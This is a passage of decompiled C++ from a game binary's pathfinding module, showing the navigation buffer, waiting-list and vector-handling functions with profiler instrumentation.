Navigator::UnitPoint pnt) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // eax@1 int v4; // edx@5 Navigator::PathFindCell *v5; // eax@5 Navigator::PathFindCell *v6; // esi@5 Navigator::PathFindCell *result; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::operator ()"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pfb_BufferSize; if ( pnt.up_X > v3 || pnt.up_X < -v3 || pnt.up_Y > v3 || pnt.up_Y < -v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = 0; } else { v4 = 5 * (v3 + pnt.up_Y + (v3 + pnt.up_X) * (2 * v3 + 1)); v5 = v2->pfb_Buffer; --funcallanalizer.fca_stackpoint; v6 = &v5[4 * v4 / 0x14u]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = v6; } return result; } //----- (0054DDE0) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize) { int v3; // edi@1 Navigator::MapNavigator *v4; // ebp@1 int v5; // esi@1 int v6; // ebx@1 Navigator::PathFindCell *v7; // eax@3 int buffersizea; // [sp+14h] [bp+4h]@1 v3 = buffersize; v4 = this; Navigator::PathFindBuffer::PathFindBuffer(&this->mn_CellBuffer, buffersize); v5 = -buffersize; v6 = -buffersize; v4->mn_EmptyFlag = 0; buffersizea = -buffersize; if ( -v3 > v3 ) { v4->mn_StepSize = stepsize; } else { do { if ( v5 <= v3 ) { do { v7 = Navigator::PathFindBuffer::operator__(&v4->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v5++, v6)); v7->pfc_EmptyFlag = v4->mn_EmptyFlag; } while ( v5 <= v3 ); v5 = buffersizea; } ++v6; } while ( v6 <= v3 ); v4->mn_StepSize = stepsize; } } //----- (0054DE80) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty) { int *v4; // esi@1 unsigned int *v5; // edi@1 int v6; // ebp@1 Navigator::VirtualMap *v7; // ebx@1 unsigned int v8; // eax@1 int v9; // eax@3 int v10; // ebp@6 bool v11; // sf@11 unsigned __int8 v12; // of@11 unsigned int ox; // [sp+0h] [bp-20h]@1 int v15; // [sp+4h] [bp-1Ch]@4 int oy; // [sp+8h] [bp-18h]@1 unsigned int i; // [sp+Ch] [bp-14h]@1 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v19; // [sp+1Ch] [bp-4h]@1 int vma; // [sp+24h] [bp+4h]@3 int startxa; // [sp+28h] [bp+8h]@1 signed int startya; // [sp+2Ch] [bp+Ch]@1 _.fe_FunctionCode = "Navigator::MapNavigator::mn_ExitFromBlock"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_ExitFromBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int *)startx; v5 = starty; v6 = *starty; v7 = vm; ox = *startx; v8 = *startx - *starty; v19 = 0; oy = v6; startya = 1; startxa = v6 + 1; for ( i = v8; ; v8 = i ) { v9 = startxa + v8; *v4 = v9; *v5 = v6; vma = v9; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6) || (*v4 = ox - startya, v15 = ox - startya, *v5 = v6, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6)) || (*v4 = ox, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (v10 = v6 - startya, *v4 = ox, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) || (*v4 = vma, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = v15, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = vma, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 1; } *v4 = v15; *v5 = v10; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10) ) break; v12 = __OFSUB__(startya + 1, 50); v11 = startya++ - 49 < 0; ++startxa; if ( !(v11 ^ v12) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 0; } v6 = oy; } v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (0054E0C0) -------------------------------------------------------- SHINE_XY_TYPE *__cdecl std::copy_backward(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Dest) { SHINE_XY_TYPE *v3; // ecx@1 SHINE_XY_TYPE *result; // eax@1 unsigned int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; result->y = v3->y ) { v5 = v3[-1].x; --v3; --result; result->x = v5; } return result; } //----- (0054E0F0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SHINE_XY_TYPE *_First, unsigned int _Count, SHINE_XY_TYPE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 SHINE_XY_TYPE *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->x = _Val->x; v6->y = _Val->y; } ++v6; --v5; } while ( v5 ); } } //----- (0054E120) -------------------------------------------------------- TickTimer *__cdecl std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v5; // ecx@1 TickTimer *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->m_CurDelayTime = v5->m_CurDelayTime; result->m_DelayTime = v5->m_DelayTime; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v5->m_bEnable; } ++v5; } return result; } //----- (0054E160) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 TickTimer *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->m_CurDelayTime = _Val->m_CurDelayTime; v6->m_DelayTime = _Val->m_DelayTime; *(_DWORD *)&v6->m_bEnable = *(_DWORD *)&_Val->m_bEnable; } ++v6; --v5; } while ( v5 ); } } //----- (0054E1A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 SHINE_XY_TYPE *v5; // esi@2 std::vector >::iterator v6; // edx@2 std::vector >::iterator *v7; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (SHINE_XY_TYPE *)_Last != v5 ) { do { **(_DWORD **)&v6 = **(_DWORD **)&v4; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); *(_DWORD *)&v4 += 8; *(_DWORD *)&v6 += 8; } while ( (SHINE_XY_TYPE *)v4 != v5 ); } this->_Mylast = (SHINE_XY_TYPE *)v6; } v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v7; } //----- (0054E1E0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054E250) -------------------------------------------------------- bool __thiscall Navigator::WaitingList::wl_Pop(Navigator::WaitingList *this, int *x, int *y) { Navigator::WaitingList *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 bool result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Pop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->wl_Stack._Myfirst; if ( v4 && v3->wl_Stack._Mylast - v4 ) { *x = v4->upwd_X; *y = v4->upwd_Y; std::_Copy_opt( (Navigator::NaviPoint *)&v4[1], (Navigator::NaviPoint *)v3->wl_Stack._Mylast, (Navigator::NaviPoint *)v4, (std::_Nonscalar_ptr_iterator_tag)x); --v3->wl_Stack._Mylast; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 0; } return result; } //----- (0054E360) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPointWithDistance *v3; // eax@3 void *v4; // eax@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::UnitPointWithDistance *v7; // ebx@6 int v8; // edi@7 signed int v9; // edx@8 Navigator::UnitPointWithDistance *v10; // ecx@10 Navigator::UnitPointWithDistance *v11; // eax@10 char *v12; // eax@13 int v13; // [sp-Ch] [bp-20h]@1 char *_Ptr; // [sp+0h] [bp-14h]@6 int *v15; // [sp+4h] [bp-10h]@1 int v16; // [sp+10h] [bp-4h]@6 v15 = &v13; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::UnitPointWithDistance *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; _Ptr = (char *)v4; v16 = 0; std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v6, v5, (TickTimer *)v4, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Count); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { v10 = v2->_Mylast; v11 = v2->_Myfirst; if ( v7 != v10 ) { do ++v11; while ( v11 != v10 ); } operator delete(v2->_Myfirst); } v12 = _Ptr; v2->_Myend = (Navigator::UnitPointWithDistance *)&_Ptr[12 * _Count]; v2->_Mylast = (Navigator::UnitPointWithDistance *)&v12[12 * v8]; v2->_Myfirst = (Navigator::UnitPointWithDistance *)v12; } } //----- (0054E470) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 Navigator::UnitPointWithDistance *v7; // ecx@1 unsigned int v8; // ebx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ebx@15 int v14; // eax@18 TickTimer *v15; // ST18_4@22 Navigator::UnitPointWithDistance *v16; // ecx@22 int v17; // eax@23 int v18; // edi@25 Navigator::UnitPointWithDistance *v19; // edx@26 Navigator::UnitPointWithDistance *v20; // eax@26 TickTimer *v21; // ecx@30 std::vector >::iterator v22; // ebx@30 Navigator::UnitPointWithDistance *v23; // ecx@31 TickTimer *v24; // ST24_4@31 unsigned int v25; // edi@31 int v26; // [sp-Ch] [bp-28h]@1 Navigator::UnitPointWithDistance _Tmp; // [sp+0h] [bp-1Ch]@1 int *v28; // [sp+Ch] [bp-10h]@1 int v29; // [sp+18h] [bp-4h]@22 TickTimer *_Wherea; // [sp+24h] [bp+8h]@32 TickTimer *_Counta; // [sp+28h] [bp+Ch]@22 void *_Newvec; // [sp+2Ch] [bp+10h]@22 TickTimer *_Newveca; // [sp+2Ch] [bp+10h]@30 v4 = this; v5 = _Val->upwd_Y; v6 = _Val->upwd_Dist; _Tmp.upwd_X = _Val->upwd_X; v7 = this->_Myfirst; v28 = &v26; _Tmp.upwd_Y = v5; _Tmp.upwd_Dist = v6; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( 357913941 - v11 < _Count ) std::vector>::_Xlen(v4); if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v8 >= _Count + v12 ) { v21 = (TickTimer *)v4->_Mylast; v22 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v21[-_Count], v21, v21, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v22, (TickTimer *)(*(_DWORD *)&v22 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v21, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v23 = v4->_Mylast; v24 = (TickTimer *)v4->_Mylast; v29 = 2; std::vector>::_Ufill( (std::vector > *)v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)v25; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v25 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v8 >> 1) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v7 ) v14 = v4->_Mylast - v7; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size((std::vector > *)v4); _Newvec = operator new(12 * v13); v15 = (TickTimer *)v4->_Myfirst; v29 = 0; _Counta = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v15, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v10, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v10], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v10; if ( v16 ) { v19 = v4->_Mylast; v20 = v4->_Myfirst; if ( v16 != v19 ) { do ++v20; while ( v20 != v19 ); } operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v13); v4->_Mylast = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v18); v4->_Myfirst = (Navigator::UnitPointWithDistance *)_Newvec; } } } //----- (0054E740) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 Navigator::UnitPoint *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 Navigator::UnitPoint *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-2Ch]@31 int v28; // [sp-Ch] [bp-28h]@1 Navigator::UnitPoint _Tmp; // [sp+0h] [bp-1Ch]@1 void *_Newvec; // [sp+8h] [bp-14h]@25 int *v31; // [sp+Ch] [bp-10h]@1 int v32; // [sp+18h] [bp-4h]@25 unsigned int _Wherea; // [sp+24h] [bp+8h]@31 int _Counta; // [sp+28h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+2Ch] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+2Ch] [bp+10h]@31 v4 = _Val->up_Y; v5 = this; _Tmp.up_X = _Val->up_X; v6 = this->_Myfirst; v31 = &v28; _Tmp.up_Y = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (Navigator::UnitPoint *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (Navigator::UnitPoint *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v32 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (Navigator::UnitPoint *)((char *)v14 + _Counta); v5->_Mylast = (Navigator::UnitPoint *)((char *)v14 + 8 * v18); v5->_Myfirst = (Navigator::UnitPoint *)v14; } } } //----- (0054E990) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val) { Navigator::UnitPoint *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( (std::vector > *)this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (0054EA00) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *_Al, int __formal) { void *v2; // esi@1 Navigator::NaviPoint *v3; // ebp@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 Navigator::NaviPoint *v7; // edi@7 int v8; // eax@8 int v9; // eax@11 int v10; // eax@15 Navigator::NaviPoint *v11; // ebp@18 unsigned int v12; // eax@21 v2 = _Al; if ( _Al == (void *)__formal ) return v2; v3 = *(Navigator::NaviPoint **)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)(__formal + 8) - (signed int)v3)) >> 32) >> 1; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (Navigator::NaviPoint *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 12; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::_Copy_opt( v3, *(Navigator::NaviPoint **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 12 * (*(_DWORD *)(__formal + 8) - v9) / 12; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 12; else v10 = 0; if ( v5 <= (unsigned int)v10 ) { v11 = &v3[std::vector>::size((std::vector > *)v2)]; std::_Copy_opt( *(Navigator::NaviPoint **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( (TickTimer *)v11, *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(TickTimer **)(__formal + 4), *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (0054EB80) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val) { std::vector > *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 Navigator::NaviPoint *v7; // edi@10 Navigator::NaviPoint *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = (Navigator::NaviPoint *)v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = (Navigator::NaviPoint *)&v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = (Navigator::UnitPointWithDistance *)std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (0054EC30) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val) { std::vector > *v4; // edi@1 Navigator::NaviPoint *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0054ECA0) -------------------------------------------------------- void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this) { this->wl_Stack._Myfirst = 0; this->wl_Stack._Mylast = 0; this->wl_Stack._Myend = 0; std::vector>::reserve( &this->wl_Stack, 0x3E8u); } //----- (0054ECF0) -------------------------------------------------------- void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d) { Navigator::WaitingList *v4; // esi@1 std::vector >::iterator v5; // eax@1 Navigator::UnitPointWithDistance *v6; // ecx@1 Navigator::UnitPointWithDistance _Val; // [sp+4h] [bp-18h]@4 int i; // [sp+18h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (std::vector >::iterator)v4->wl_Stack._Myfirst; v6 = v4->wl_Stack._Mylast; for ( i = 0; (Navigator::UnitPointWithDistance *)v5 != v6; *(_DWORD *)&v5 += 12 ) { if ( *(_DWORD *)(*(_DWORD *)&v5 + 8) >= d ) break; } _Val.upwd_Dist = d; _Val.upwd_X = x; _Val.upwd_Y = y; std::vector>::_Insert_n( &v4->wl_Stack, v5, 1u, &_Val); --funcallanalizer.fca_stackpoint; i = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); } //----- (0054EDC0) -------------------------------------------------------- int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start) { int v7; // ebx@1 int v8; // ebp@1 int v10; // eax@3 int v11; // edi@5 Navigator::PathFindCell *v12; // esi@14 unsigned int v13; // eax@19 int v14; // esi@20 int v15; // eax@22 bool v16; // sf@24 unsigned __int8 v17; // of@24 int v18; // esi@25 int v19; // [sp-14h] [bp-2Ch]@18 Navigator::PathFindCell *centercell; // [sp+0h] [bp-18h]@1 Navigator::WaitingList *thisa; // [sp+4h] [bp-14h]@1 int centerxa; // [sp+20h] [bp+8h]@3 thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); 